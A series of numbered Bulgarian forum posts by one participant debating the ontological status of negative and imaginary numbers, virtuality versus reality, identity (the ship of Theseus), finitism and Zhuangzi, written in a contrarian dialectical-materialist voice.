По това: "напр започвате с -1, което коренувате (ама не можете), умножавате по 2 и му прибавяте 3, после идва ред на умножение с друга невъзможност от началния вид, та имате: -1, i, 2i, 2i+3,-2+3i." ще кажа само, че се получава нещо като: Искам да се сприятеля с говорещ скелет (обозначен с "-1"),ама не става, затова мнимото ми приятелство с говорещия скелет обозначаваме с имагинерното "i"; после да увеличим компанията с някоя мадама, която също си има говорещ скелет, та така удвоената лъжа означаваме с "2i". Към нас прибавяме 3-ма от форума - Фреге, Хераклит и Лилия, та става "2i+3"... Значи реално сме си аз, мадамата и останалите 3-ма като в сбора от тези 5 човека няма никакви говорещи скелети, които трябваше да са два. И като цяло се получава смесица от истина и неистина.
Имагинерната единица е опит за превръщане на желаното в действително. И като няма как, ние си го въобразяваме и се опитваме да правим фокуси.
274. Ами това е. Няма участник познал верния отговор и сега аз ще го представя: Във виртуалното пространство няма значение дали даден елемент извършва действие А или Б. Тези действия са също виртуални като самият елемент. Тоест дали измислената (виртуална) принцеса ще сънува измислен сън или ще яде измислена ябълка - все едно. Продуктите/действията си остават виртуални на едно и също ниво.
Представете си картина. Изобразена е стая със стол и на него друга картина пак със стол. И двата стола са еднакво виртуални (те са просто нарисувани) и с еднаква степен на съществуване.
275. Ами мъчили са те, защото не си им представил нещата диалектико-материалистически по два железни пункта:
а) При незначителни промени във формата съдържанието продължава да се удържа. Едва при преминаване на определена мяра, количествените натрупвания дават качествени изменения - формата оказва влияние на съдържанието.
б) Конкретно за дъсчицата - КОГАТО разширяваме определени свойства на обектите твърде силно, то качественото тъждество колабира. Тоест, ако дефинираме, че без една дъска корабът ще е друг или, че ако му се смени мястото ще е друг, то по дефиниция ще бъде друг.
Това, дето някой казал, че и без една дъсчица вече е друг НЕ Е ДИАЛЕКТИКАТА НА ХЕРАКЛИТ ("Човек не може да влезне два пъти в една и съща река!"), а е вид РЕЛАТИВИЗЪМ като на КРАТИЛ ("Човек даже и един път не може да влезне в една и съща река!").
"Identity проблема е супер сериозен и соритес не е езиков проблем"
Разбира се, че не е.
"Понятийна формулировка"Демек: кажи ми какво имаш предвид под "кораб" и аз ще ти кажа дали е същия след коя смяна на коя дъсчица или не."
Правилно. Една дефиниция е необходимото условие. Даже и да не се направи вербално, всеки ще си я има, собствената дефиниция, като изходна база за съжденията си.
"Това за мен е интересно, разбира се, но то по същността не решава проблема, защото идеята за идентичност не би трябвало и не е резултат на своего рода лингвистична конвенция от типа на "сега ще решим какво е да си идентичен"."
Зависи от решението. Ако е продукт на класическа и/или кореспондентна теория на истината - let it be! /Нека да е!/Нека да бъде!/
"За (1) ние ще видим, че сме идиоти, когато осъзнаем, че трябва да наречем кораба друг, когато сменим какъвто и да е брой дъсчици до някакъв брой :)."
Просто може да се въведат степени на промяна както с възрастта - Младият/Ранният Хегел - Старият/Късния Хегел. Така се удържа хем идентичността, хем и промяната й. /Не всяка промяна променя идентичността./
"А за две ще разберем, че нещата са доста по-сериозни от при дъсчиците, когато разберем че гарантираната свойствена идентичност на електроните не ни гарантира идентичността на това, дето те го правят. Защото в лаборатория ние може да създадем две напълно неразличими дъсчици от произволен брой частици и те ще бъдат свойствено идентични, но пак ще имаме нещо като пространствен критерий за да ги различим една от друга"
Това е вярно. Брутян казва: "А и А не са еднакви. Едното се намира отляво, а другото отдясно." /По смисъл, че няма две напълно еднакви неща. Все ще се намери някаква разлика - в случая с двете букви ("А и А") различното им е местоположението./
"А от другата страна на нещата е интуитивната сигурност, че един кораб не е същия, когато всяка част в него е сменена. "
Онтологичен факт.
"Проблемът възниква от куцата координация между понятия и там долу. Ми не. Тази формулировка е пак понятийно зависимата."
И е, и не е. Зависима е, здравословно, донякъде. И аз я харесвам. /Здравословна зависимост. За разлика от нездравословните зависимости./
За понятията много добре си разсъдил. Чета си го за трети път днес. Мерси!
276. По-долу става дума за следния подпис на Николай "Най-голямата заплаха за бъдещето на философията не е тоталното институционално разпространение на аналитичната про-научна "традиция". Истинската заплаха се състои в постоянно извършващия се акт на безотговорен философски компромис по приемане и признаване на тази "традиция" като "философска"!"
"...половината департамент от Оксфорд по философия на физиката,..."
Иха! Вярно, че Николай би се чувствал много "интересно" в тази среда. :P ;D :D :)
"Това ако не сте се подписал като Никсъна, него ще го спрат на босненската граница още :)."
Аааа, не го подценявай! Той ще ги подведе, че отива на поклонение в Мескирх (града на Хайдегер) и пак ще се добере до конференцията. Такива конференции са неговата детска мечта, знам аз. ;) :) Даже смея да предположа и темата на доклада му, който тайно подготвя - "Психофизическия паралелизъм - предимства и недостатъци (ако има такива) на Оскфордската гледна точка по въпроса." След това и него ще го поканят в Москва.
Иначе ти иди в Москва, там работи Хамил, който ще ти обясни Вярата през призмата на Кант. :) /Философско шегуване за добро настроение./
277. Виртуалното го приемам под следните дефиниции:
1. Част от реалното. Имам собствена твърда теза по въпроса, в частност, че Интернет е част от реала.
2. Без особени проблеми приемам мненията за виртуалност както на симулациите, така и на приказките, та дори и на субективните образи, звукове и пр. интерпретации на действителността, които се създават от нашите мозъци. Тоест приемам го в един широк аспект. Като част от реалността. Като нещо, което може да носи както адекватен, истинен характер, така и симулакрумен. Тоест виртуалността може да представя както истина, така и лъжа.
По въпроса за измисленото - има ли нещо измислено, съществуващо само като идея, непретворено като материален обект, което да не е виртуално?
278. Точно така. Това и аз имах предвид с казването, че имат една и съща степен на съществуване.
Смисловото интендиране става условно. Например, ако гледаш филм, можеш да си с нагласата, че всичко е реална история и даже да плачеш. В същото време може да го гледаш като професионалист и да забелязваш къде се е подал микрофонът, къде потреперал стативът на оператора и пр.
Колкото до виртуализма, не води задължително до солипсизъм, макар и да е идеална почва за такова внушение.
СЛЕДВА...
-
279. "Дали според критериите на Dalai_tatar няма да се окаже, че всичко в математиката е имагинерно?"
Човекът (аз) няма нищо против нещата в математиката, които отразяват реалност, но има против неправилните и подвеждащи моменти. Примерно вярата, че точката е "безкрайно малка". С оглед на финитизма, на чиито позиции стоят не един и двама учени, нещата имат предел. В този смисъл една топка не е съставена от "безброй много елементи-точки", а само от "много".
Същата работа и със законите на математиката... Първо не стига, че се прави компромис и се въвеждат числа със знак минус отпред, които са напълно фантастични, защото, де факто, значи че съществуват ОТВЪД НИЩОТО - 0 (нулата), но и се нарушава ЗАКОНЪТ създаден за тях, според който като се умножели две такива "отвъдни" неща или пък каквото и да е друго се получавало КОРЕН КВАДРАТЕН ОТ МИНУС ЕДНО... След толкова много фалшиви предпоставки как да имаме реалност? /Самите отрицателни числа може да са полезни за обозначаване на дългове, например и за други неща, но строго-онотолично погледнато, не може да ги има; прекалено условно./
"А може би всичко в науката, всичко, с което изобщо си имаме работа?"
Напротив. Не може да би. Човекът /пак аз/ е диалектически материалист и ратува за единство на наука и философия, като последната за него се явява мироглед и метод на първата.
"Това, което може да се каже за имагинерните числа, може да се каже, например, за отрицателните."
Не точно. Отрицателните са първата измислица, а имагинерната единица е надстроена над тази измислица, нарушавайки математически закон. Това се нарича "Дърта лъжа", макар и заявена. /Леко-хумористично казано. :) /
"Нека да застанем на позицията на петокласника, който не е изучавал отрицателни числа: съществуват само положителни числа и, евентуално, нулата. Тогава отрицателните числа са несъществуващите ("имагинерните") разлики на едно по-малко число с едно по-голямо от него (например 3-5)."
Наскоро, точно това също установих като учудване - умно дете, което се учи добре, но още не е стигнало до отрицателните числа се учуди що за задача може да е примерно "7 - 10 = x" ("На колко е равно седем минус десет.") Нашият учител, който наскоро почина от рак на белия дроб, щото така и не повярва, че цигарите са вредни, точно така ни учеше. "Да се изважда от по-малкото по-голямото е невъзможно." След това ни обясни, че може и да си изваждаме и да получаваме числа със знак минус, но само, ако си представяме нещата условно. В реалността не можеш да имаш 3 лева и аз да ти взема 5 и да съм ти длъжен с два. То, ако можеше така, щях да взема от тебе няколко милиарда и да завъртя бизнес из целия свят. Нищото, 0-та е пределът. Много добре са установили в математиката, че на нищо не може да се дели. Обаче, от нищо можело да се изважда... Илюзии.
"невъзможна разлика, нека да не прекъсваме смятането, а да приемем, че имаме отрицателно число и да продължим. Може по-нататък в хода на сметките да се появи някакво число, което да компенсира недостигащата двойка, и всичко да завърши благополучно."
To, според математиците, и едно просто уравнение като НУЛА МИНУС СТО МИЛИОНА (0 - 100000000) пак си завършва много благополучно. Тоест в някакъв приказен свят (ама не в нашия, за съжаление) нищото е ИЗТОЧНИК на КОЛИЧЕСТВО (нали числата това и означават), от което можеш даже да извадиш БЕЗКРАЙНОСТ. (То и таква олигофрения е имало при индианци в Америка, които бележели "0" и "безкрайност" с един и същи йероглиф, т. е. всеки луд човек, стига да има влияние, може да съставя каквито си поиска понятия и СТАДОТО следва... И само от време на време се появяват критични хора, които да не приемат или пък да допълнят нещо от верните неща в математиката като Лобачевски.
"Но отрицателните числа са просто удобна фикция! Нима практическата изгода е гаранця за съществуване, за истина?"
Tочно това и аз казах на Лилия. Много фикции могат да са практически изгодни, но това не означава, че ги има в реалността.
"По-нататък, от позицията на човек, който не е ходил на училище, защо това да не важи за числата изобщо? Числата ги няма в природата. Можем да посочваме по една овца и всеки път да свиваме по един пръст. Можем всеки път да теглим по една резка на гегата. Можем да ползваме римски или арабски цифри. Свиването на пръсти, резките, различните знаци, са нещо, което ние правим. Безспорно те вършат работа, но това не значи, че съответстват на нещо в действителността. "
Числото е обобщаващо понятие за количество. Количеството е налично в природата и се доказва дори емпирично. Числата са символи, отражения (по конвенция) на нещо. Но, когато това нещо ГО НЯМА и остане само на СИМВОЛ, то вече е СИМУЛАКРУМ от висш порядък.
"и не важи ли същото, например, за електричеството, за предметите около нас, за собственото ми тяло, за другите хора? Няма откровение, с което на физиците да са били доверени съществуването и природата на електричеството. То е било измислено от тях, по-точно, те са измислили една система от понятия, формули, начини на пресмятане, инструменти и практики, благодарение на които се получават такива неща като електрическото осветление или телеграфния сигнал. "
Това е вече ИЗОБРЕТЕНИЕ. А и електричеството Е НАЛИЧНО В ПРИРОДАТА, примерно една светкавица е електричество.
"Но електричеството е удобна фикция!"
Годишно имаше няколко десетки май убити от мълнии по света. Да ти кажа хич не е фикция електричеството.
"Бебето не получава откровение, че храната, топлината, ласката, която сме свикнали да казваме, че му дава майка му, идват от някакво нещо само по себе си. Бебето трябва да измисли майката. "Мама" е удобна фикция! "
Бебето не измисля майка си, а МУ СЕ КАЗВА, че му е майка. Ако поставиш едно бебе в някоя комуна и цял живот го отглеждат лелки и чичковци, които никога не го запознават с това, че хората имат майки и бащи, то може да израстне като човек, който е твърдо убеден, че хората се раждат от дървета, при определени условия, ако така са го възпитали.
Винаги съм давал пример с една баба, която си мислеше, че звездите са малки точици на небето и въобще не можеше да си представи, че са планети или звезди. /Даже, ако сме по-стриктни, ще кажем, че някои неща, които на нас, с невъоръжено око, ни изглеждат като звезди, може да са не звезди или планети, а двойни звезди, мългявини.../ Тя даже нямаше ясно понятие какво е планета.
"Затова предлагам да се върнем към практиката като критерий за съществуване."
Практиката е много добър критерий за проверка на истината, но това не значи, че всяка лъжа, която дава практически резултати е истина. Ето, на практика, не може да се извади нещо от нищо. И точно в тази практическа проверка аз казвам, че отрицателните числа са илюзия.
"Тук има едно възражение на Dalai_tatar. Как тогава да отличим измамата, която върши работа, от истината, която върши работа?"
Ами точно това казва човекът /аз/. Много се радвам, че независимо дали си съгласен - несъгласен с позицията ми, то си разбрал всичко, което пиша тук.
"Според мен няма един начин, който може да се формулира от философите. Но във всяко нещо може да се отличи сериозната работа от измамата. Например, в по-голямата част от случаите специалистите могат да различат резултатите от експериментална работа върху електричеството от голословни претенции или натурфилософски спекулации върху електричеството."
Това е прекрасно! И много го ценя! И точно по този експериментален път съм се убедил, че има само НЕЩА (положителни числа). Тяхното отсътвие може да се бележи с патерицата НУЛА, която е по-удобна, отколкото да се оставя празно пространство, както са правели в някои математики преди. И всичко друго със знак минус е измислица, ако е в релация с НИЩО или с ПО-МАЛКО ЧИСЛО. Примерно "-5", ако го сложиш в релация с 10 има смисъл, защото може да вземеш 5 от 10. Но напишеш ли 1-5 вече става онтологична и физическа грешка, защото ЖЕЛАНОТО НЕ МОЖЕ ДА СТАНЕ ДЕЙСТВИТЕЛНО. /От едно може да се извади едно, но не може да се извадят пет./ Ето защо, ако искаш да си купиш нещо за 10 лева, а имаш само 2 лева не става. В икономиката може (за удобство) да ти напишат, че си с -8 лева като задлъжнял, т. е., че си НА ЧЕРВЕНО, но тези -8 са взети от НЯКЪДЕ, КЪДЕТО ИМА "по-голямо или равно на 8", а не от НИЩОТО.
280. Така е. Прагматизмът е сурова работа. А и може да подвежда яко. Примерно по лоша индукция - видиш, че два-три пъти нещо сработва и решаваш, че това е адекватното на действителността. А то се оказва, че просто си попаднал на изключения по късмет. И после идват фаловете.
За овцете - ами какво? Примерно имал е 80 и вечер преброява 75, т. е. 5 са изгубени. 80 - 5 = 75. Липсват му 5 овце, но му липсват от ОБЩИЯ БРОЙ, който е РАВЕН на ИЛИ ПО-ГОЛЯМ от 5 (пет), в случая ни - осемдесет (80). Не му липсват ОТ НИЩО. За да ти липсва нещо, ТРЯБВА ПЪРВО ДА ГО ИМАШ.
Затова и Хегел, лака му пръст, казва: "По-добре никога да не си притежавал, отколкото да изгубиш!"
281. Относно "що се касае до метафизиката, то тази наука вместо да се възползва от някои понятия и учения на математиката, често по-скоро се обявява против тях и дори там където би могла да заимства сигурни основи, върху които да постави своите разсъждения, ние я виждаме да се старае понятията на математика да превъврне само в негови измислици"
Кант И., Опит да се въведе във философията понятието за отрицателни величини
/Избр. произв. С.1998, с.295/
-- Обявяването против тях става в определени рамки и на базата на анализи и практика. Не е самоцелно обявяване.
282. "Реал" е българизиран вариант на "REAL", т.е. РЕАЛЕН и означава РЕАЛНОСТТА (под формата на сленг), а и вече на полу-професионален и професионален жаргон.
Въпросът какво е реалността е доста сложен, но Диалектическият материализъм отговаря: материята в нейното многоообразно движение, най-общо. В по-прецизен план можем да говорим и за енергията, но, мисля че и така е достатъчно иначе става като в един виц:
Във влак до Шотландия пътували художник, философ, математик и физик.
Художника: - Я! Черна овца! Всички овце в Шотландия са черни!
Философа: - Ако искаш да си по-точен, трябва да кажеш, че има вероятност в Шотландия да има само черни овце.
Математика: - По-точното е да се каже, че в Шотландия има минимум една черна овца.
Физика: - Най-точно е да се каже, че в Шотландия има минимум една овца, чиято дясна страна, гледана от преминаващ влак с определена скорост, със сигурност е черна.
"Ако и зарядното на компютъра ми, и приказките, и Интернет са си все части от "реала", каква е тогава разликата им, принципната? Която ми дава право да казвам, че приказките и Интернет са нещо, което е "виртуално", а зарядното не е?"
Нематериалността.
"Мисля, че всичко идва от терминологично объркване — вие говорите за "реални истории" и в същото време казвате, че "виртуалността може да представя както истина, така и лъжа". Какво тогава, собствено, е "виртуалност"??"
Истории, които отразяват действителност, реалност = реални истории. Виртуално реално и виртуално нереално. Брутян казва, че истината е гносеологическа, а не онтологическа категория. Примерно не може един стол да е неистински. По същата логика виртуалността може да представя и истини (т. нар. реални неща) и неистини (измислици, например).
"Питам, защото за мен самото вкарване на "виртуалност" като понятие е излишно и пречещо.
Няма "виртуалност". "Реал" също е неопределено нещо. Все измислени думички без общ и приет смисъл.
Има действителност и недействителност. В действителността субекти извършват действия. Разпознават ги, оценяват ги и ги разграничават. Недействителното — няма субект и няма действие."
Уважавам хората, които подлагат на съмнение понятията! Спечели уважението ми!!! Обаче виртуалността е разработена и философски, сега ще ти дам определение, което харесвам, а, ако го обориш убедително, ще е полезно и за мен. Аз пиша тук и да се уча, не само да преподавам и споделям.
Надявам се да разбираш руския, че бързам и няма да преведа:
"Философия абстрагирует идею виртуальной реальности от её технического воплощения; так, виртуальную реальность можно толковать как совокупность моделируемых реальными процессами объектов, содержание и форма которых не совпадает с этими процессами; существование которых подчинено реальности, но рассматривается обособленно от неё. Виртуальные объекты существуют, но не как субстанции реального мира; в то же время эти объекты актуальны, а не потенциальны. «Виртуальность» (мнимость, ложная кажимость) реальности устанавливается по отношению к обуславливающей её «основной» реальности. Виртуальные реальности могут быть вложены друг в друга. При завершении моделирующих процессов, идущих в «основной» реальности, виртуальная реальность пропадает.
В этом свете идеальный внутренний мир человека можно считать виртуальной реальностью, моделируемой электрохимическими процессами взаимодействия нейронов."
СЛЕДВА...
-
283. Много амбивалентно се отнасям към тази новина. От една страна се радвам, че в българското философско пространство се споменават и неща като Джуан Дзъ - много велик философ /древнокитайски/. От друга страна Герджиков*, ако го прокоментира в стила на неговите си "Граници на науката", язък за хубавата тема!
__________
* Говоря за Герджиков от 1995. Оттогава много вода е изтекла и не съм му следил развитието, така че да не се вземат под строго внимание коментарите ми. (През последните години му четох малко неща онлайн, свързани с пътувания и чужденци. Също не останах доволен от най-различни заключения, които мога да отнеса към "прекалено обобщено и невярвно в повечето случаи"/. Нищо лично нямам този мой бивш преподавател и колега-философ - мисля, че е симпатичен човек даже, но не мисля, че повечето му мнения за битието, философията и хората по света са вярни.)
284. Лилия, Кант е казал, че някои неща в математиката са СИГУРНИ ОСНОВИ и ти като СИГУРНА ОСНОВА виждаш ИМАГИНЕРНО ЧИСЛО, което по дефиниция си го признават за:
а) НЕСЪЩЕСТВУВАЩО (ескплицитно),
б) ИЗМИСЛЕНО (експлицитно),
в) СЪЗДАДЕНО В ПРОТИВОРЕЧИЕ С ПРАВИЛАТА ЗА БАЗОВИ МАТЕМАТИЧЕСКИ ОПЕРАЦИИ (имплицитно)...
На мене такава "СИГУРНА ОСНОВА", която е несъществуваща, измислена и нелегална /в този контекст - "не по правилата"/ ми е много оксиморонна.
---
Комплексните числа ги знам - смесица между истина и неистина, т. е. грешки по терминологията на Любен Сивилов.
Ето пример за едно такова "уравнение", вербализиран:
Лилия много ми харесва, но тя не ме харесва. Въпреки, че е невъзможно да ме хареса, аз си въобразявам, че вече ме е харесала и означавам този "факт" с "i". След това прибавяме i към реалния факт, че Лилито си пише с мене във този форум, който е P. По този начин имаме i+P = iP.
iP е комплексно число (което има имагинерна и реална съставка). За някой външен наблюдател iP ("С Лилия много се харесваме взаимно и си пишем във форума!") би изглеждало напълно коректно число. И, ако с него, примерно се "опише" и някое съпротивление между нас (с аналогия на импенданса), то i съвсем добива легитимност и никой не се сеща да го оспори, защото "върши работа"..
285. Ваня, чакай малко да отговоря на уважавания от мене човек и после ще ти отговоря на твоите въпроси. Мерси, че си прочела. Надявам се и всеки един от останалите да прочете и да вземе отношение, защото това е толкова интересна тема, че просто ми е адски любопитно какво минава през главите на толкова различни философи като модератора и Николай Турлаков, или като Хераклит и Фреге.
Уважаеми Ясен, най-първом да заявя, че "Уикипедия" за мене, традиционно, е нещо НЕДОБРО, но поради липса на по-добро (примерно една безплатна онлайн Британика или един по-добре разбиращ писмен китайски Далай_Татар, който да чете и разбира Байду Енциклопедията /китайският писмовен език, т. е. китайската йероглифика са трудни за несистемно учене, както е при мен/) ползвам често Уикито, ако има нещо ценно. С цитатът, който те уверявам, че не може да е дело на някой от средностатистическия "вещ" модератор там съм много, ама много съгласен и бих ти го предложил дори и да е не от това полу-психопатно и полу-олигофренско явление "Уикипедия" /макар с годините, определено, да има напредък и накои статии наистина да са качествени и да заслужават внимението ни/, но и от някоя книга на Розенберг-нациста, примерно. Вярното си е вярно, независимо на кой уебсайт е пейстнато. /И от кой е казано. Дори и най-големият нацист, олигофрен или психопат/социопат, ако каже нещо, което е вярно, то си остава вярно, независимо кой и кога го е казал./
-------
Влагането на една в друга виртуалности зависи в какъв аспект се третира. УСЛОВНО може да се говори за вложени една в друга виртуалности. Примерно, ако моделираш нещо си там, за да не се размиват нещата ЗНАКОВО. Обаче ДЕ ФАКТО, както и аз казах - нещата са си с една и съща степен/модус на съществуване като виртуалитет (виртуално/виртуалност).
"Реал" имах предвид, че е прието в средите на някои Интернет-специалисти. /А и доста интернет-дилетанти, всъщност./ Но, както на Уикипедия, така не съм фен и на това понятие, така че никак не настоявам за неговото натрапване. Още повече, че семантично то отвежда към нещо много по-плитко от РЕАЛНОСТ. Повечето хора, като нефилософи, определят РЕАЛА като СОЦИАЛНАТА ДЕЙСТВИТЕЛНОСТ, най-вече. И така...
С това тука не съм съгласен:
"Във въпросната руска статия от Уикипедия говорят за виртуалност, актуалност, потенциалност и реалност и отгоре ръсят със сол на вкус. Достатъчно неразбираемо и претенциозно, за да не си правя труда да го оборвам."
ТОЧНО ТОВА Е ЦЕННОТО на статията, че виртуалността е изяснена като АКТУАЛНА, с което и аз, и ти сме съгласни. Понеже за много народ тя не е актуална и после се чудят как така стана, че от неактуалното получихме съвсем актуални резултати. Ние сме надраснали това отдавна.
Така, виждам, че има съгласие и по друг пункт - признаваш, че ВИРТУАЛНОТО не е веществено, а е ИДЕАЛНО. Браво!
С това и ти отговарям на въпросите може ли да се замени с друго, адекватно понятие. Може. ИДЕАЛНОТО (като единство и противоположност на МАТЕРИАЛНОТО в човешкия живот).
Я кажи и ти някои от твоите любими понятия, с които си заместил модерното "виртуален" ?
СЛЕДВА...
-
286. Относно разликата между виртуално и невербално. Къде свършва реалното и започва виртуалното?
Идеите виртуални ли са?
Ето и твоят ред дойде. :)
1. Виртуалното може да бъде както вербално, така и невербално. Но невербалното не винаги е виртуално. Това са нетранзитивни неща.
2. Ние с колегата не правим разлика между виртуално и реално. Според мен виртуалното е ЧАСТ ОТ РЕАЛНОТО, а според него даже няма смисъл да се употребява думата виртуално, понеже всичко е едно и също, общо взето.
3. Идеите са виртуално нещо, доколкото са идеални, а не материални.
(Според мен ИДЕАЛНО и ВИРТУАЛНО може да се мислят като почти- или пълни синоними).
287. "Кога невербалното НЕ Е виртуално?"
Ами примерно някой жест или действие като това да те напляскам по дупето (без думи, за да не чуят съседите, че то не стига, че сол нямаме, но и остава да нямаме и реноме!) не са вербални, но са доста невиртуални. Щото едно е да те напляскам виртуално, а друго е в реален план.
"Ако не правите разлика, тогава са взаимнозаменяеми."
Не правим разлика в качеството им на съществуващи, иначе не са взаимозаменяеми, понеже едно е ЧАСТ, а другото е ЦЯЛОТО. Тоест Реалното е ЦЯЛОТО, а в него си има разни елементи/части една от които е ВИРТУАЛНОТО. Виртуалното е една от формите на съществуване на цялото, без да го изчерпва изцяло.
"Да но според твоето (1.)- Идеите могат да бъдат и вербални и невербални- пример за вербална идея?"
Не съм казал такова нещо. Говорех, че са ИДЕАЛНИ, а не МАТЕРИАЛНИ. Иначе има невербални идеи, но, ако ги вербализирам ще станат вербални. Примерно сутринта ти се яде... (Позна! Луканка!) и отиваш до хладилника, където сол няма, но има луканки и си режеш, и ядеш. Идеята да си направиш една луканко-закуска в стил "сухоежбина" може да ти дойде на ума без да я вербализираш като : "Уф, че съм гладна. Сега ще ида и ще ям!"
Всеки план, който си правиш, без да си го проговаряш с вътрешния глас, си е вид невербална идея.
288. То и аз така се опитвам, но, откакто Лилия ми показа резюметата си и се омагьосах от визията й, все се изкушавам да я похваля каква ми е хубавица в моите нежни, но строги очи и ленинистко съзнание.
""Разбирам че за Dalai_tatar разделителната линия минава между дробните числа и нулата.""
Неее. Дробите не ги намесвам. Те са вторични. А и има също реални и нереални дроби. Примерно 1/2 си е едно разделено на две или половинка. Толкова половинки сме виждали и правили. Това е реално, отразяващо реалност "понятие". От друга страна 1/-2 е абсолютна идиотщина (ще ме извините за емоционалния език!), защото ни "казва", че нещо е разделено на две неща, които са премахнати от нищото (защото -2 , /минус две/ това е едно такова симулакрумче, което се получва, като от 0 махнеш/извадиш 2, т. е. -2 = 0 - 2). И значи, следете ми внимателно простата, но философска мисъл - като едно нещо го разделиш на две неща получени, чрез изваждане от нищото, то се получава една такава също извадена от нищото половинка.
Доколкото ДА СЕ ИЗВАЖДА ОТ НИЩО Е НЕВЪЗМОЖНО и, следователно, да се получават неща като "-2" е също толкова невъзможно, то следва, че резултатът от ДЕЛЕНЕ НА "НЕЩО" (единица) НА "НЕЩО МНИМО" (минус две) е "НЕЩО ДРУГО МНИМО" (отрицателна половинка, т. е. -0,5)...
Ето и как ще вербализирам лъжовността на уравнението (дробта) 1/-2 = -0,5:
Ти обичаш маймуни. Нямаш пари, нито разрешително да отглеждаш такива животни в дома си и решаваш да ги вземеш не от зоо-магазина, където има 2 маймуни, а от Нищото (Нулата) и правиш фокуса 0 - 2 = -2. И вече имаш две маймуни, извадени от нищото и носещи знак минус на главичките си. Гледаш, че имаш ЕДИН банан у вас и понеже си обичаш еднакво маймунките, пък било те и МИНУС маймунки и... колкото и да не съществуват, ти разделяш СЪЩЕСТВУВАЩИЯ БАНАН на ДВЕ НЕСЪЩЕСТВУВАЩИ МАЙМУНИ и получаваш по НЕСЪЩЕСТВУВАЩИ ПОЛОВИНКИ БАНАН.
Иначе математиците ПРАВИЛНО са се ориентирали, че на нула не може да се дели. И това си е закон математически. Деленето на нула не е дефинирано и се води невъзможно. Ако не вярваш, пробвай с някой калкулатор под ръка. ОБАЧЕ в същото време няма нищо нередно за тях да делиш на извадени от нулата неща, които не съществуват...
Ето защо дробите не са еднакви.
"От нулата нататък започва имагинерното."
От нулата нататък започва само и единствено реалното количество (число). Имагинерното не започва от нулата, а започва в главите на хора с въображение, което граничи с болното. НУЛАТА Е ПРЕДЕЛ, просто защото е НИЩО. На този свят има НЕЩО, останалото го няма, т. е. е НИЩО. И извън тази конвенционална ДУАЛИСТИЧНОСТ няма как да има неща, които просто сме си ги въобразили.
"Защо точно нулата да е несъществуваща?"
Нулата май е измислена за пръв път от индийците и са я наричали ШУНЯТА (пустота). Нулата съществува. Като как? Като ЧИСЛО. Какво отразява то? НЕНАЛИЧНОСТ, НЯМАНЕ, ОТСЪСТВИЕ, ПРАЗНОТА, НЕБИТИЕ. В този смисъл 0-та (нулата) си съществува като ЗНАК за отразяване на ПРАЗНОСТ. (Отделно тя съществува и като патерица за образуване на арабски числа като 10, понеже арабите не са се сетили като китайците или римляните да си напишат 10 не като ЕДНО-С-НИЩО, а като кръстче или като хиксче.)
"Защо да са съществуващи дробите? Може би 22:7 не е число, а операция (подобно на 3-5)? "
И двете е. Хем може да се гледа на него като на операция, хем като на резултат от нея. По-редно е да се гледа като на резултат. Какво са "двайсе и две седми"? ("Какво е двайсе и две делено на седем"?) Ами това са 22 неща поделени помежду/сред други 7 неща. Тоест това е СЪОТНОШЕНИЕ. И се разделят лесно. Ако някой ден науката напредне достатъчно и се установи точно от колко елементарни частици са съставени тези 22 неща в материалните им измерения, то и ще ти кажа докъде да се закръгли онова 3.14...., за да е точен резултатът.
Аз съм финитист и смятам, че нещата са делими не до безкрайност.
"Откъде знае Dalai_tatar кое съществува и кое не?"
Това е друг въпрос. Но конвенционално дори математиците си казват, че отрицателните числа не отразяват някакво съществуване, а се ползват за удобство, условно.
СЛЕДВА...
-
289. Аз затова и съм съставил парадокса на т. нар. "глупав професор". Човек много ерудиран в едно отношение може да е пълен профан в друго. Мен пък направо ме хваща яд като се сблъскам тука с някоя "овца" или, хайде - "патка" /така в българския език някои използват тези неща като епитети за неуки, глупави хора от женски пол/, която си няма хабер кеде е Казахстан (макар да е голям съсед и партньор на Китай), нито пък може да изброи поне 10 човека от света на науката и философията. Да не говорим, че някои не си познават и анатомията. Обаче в същото време могат да разчитат по над 5000 йероглифа минимум, а аз едва се справям с около 3000. И се получават парадокси, че аз уча някоя китайка как да каже на китайски "триада" (三合一) и в същото време трябва да търся в речника какво значи нещо елементарно казано от нея като "задомяване"... Ама какво да правим сега? ДЖУАН ДЗЪ-то си го е казал:
"Животът е ограничен, а познанието безпределно. Глупаво е да се надяваш, че в ограниченото ще схванеш безграничното." Така и ще си умрем без да сме научили, примерно и 1/100 от химията или пък без да можем да говорим и на 2% от езиците по света. Нали и Ленин казва - "Да се учим, да се учим и пак да се учим!", защото постоянно има какво да се учи, а и нещата се изменят, така се налага да се учат още повече работи...
Не е важно всеки път да получаваш печеливши карти. Това е невъзможно. Важното е така да си изиграеш получените слаби карти, че да не станат абсолютно губещи.
Ето и ти така - не се е случило да научиш нещо за него, но пък сега имаш възможност и ще понаучиш (дано само Герджиков да не изкилифищри нещата, че имам философска фобия от него! Не знам от кого повече ме е било страх - от него или от Бъркли...)
Ето и как Джуан дзъ с черепността направо удря "Хамлет" в земята, осъществявайки с череп не просто монолог както е правил главния герой на Шекспир, а ДИАЛОГ! :) Голям майтап:
Върви си той по пътя и вижда да се търкаля череп. Джуандзъ почва да го оплаква:
- Ей, горкия човечец как си умрял! Лоша работа...
И черепът се обадил:
-Ти пък откъде знаеш, че да си умрял е лошо?!
Отделно преди Прудон създава подобно социалистическо-анархистично учение. И изказва Дарвиновата догадка, че животът се е развил от простото към сложното, като хората са част от процеса в това Дао.
290. Няма какво да ти е жал. Аз още от сега искам да направя едно завещание :
"Като умра хич не се тревожете за мене и не си давайте зор да палите свещи, хартии /в Китай и така правят/ и пр. ритуали. Отделно хич не се притеснявайте дали ще ме споменавате или няма. Гледайте си личната и обществената работа, и не се занимавайте с мъртъвци по задължение."
Дионисий прави философия в религиозна парадигма, което е достатъчен атестат, че и да има верни резултати ще са ПО СЛУЧАЙНОСТ. /Защото религията не е наука, не е и философия, и достига до истини само понякога, случайно./
291. Да, ама както някои невербални идеи могат да се вербализират, така и от многото език, пропозиции и пр. могат да възникват съвсем вербално идеи.
Не ща да анализирам "Ти си луд."
292. 1. Зависи от средната плътност на Вселената. Още не са я измерили. Като я измерят и ще си покаже дали ще се разширяваме до безкрай, дали ще се свием или по някое време просто ще се запрем и ще си стоим относително на един и същи обем. /Според съвременното състояние на науката, главният въпрос за бъдещето на Вселената е: "Каква е средната й плътност?" Ако тя е по-малка от критичната стойност, Вселената ще продължи да се разширява вечно. Ако е по-голяма, Вселената ще колапсира отново и времето ще свърши в "Големия срив"... така разсъждават специалистите. Разбира се, ако пък се окаже вярна теорията, че сме просто в симулирана Вселена и сме симулации, тогава вече нищо от това може и да не е такова, каквото си го мислим и представяме. :)/
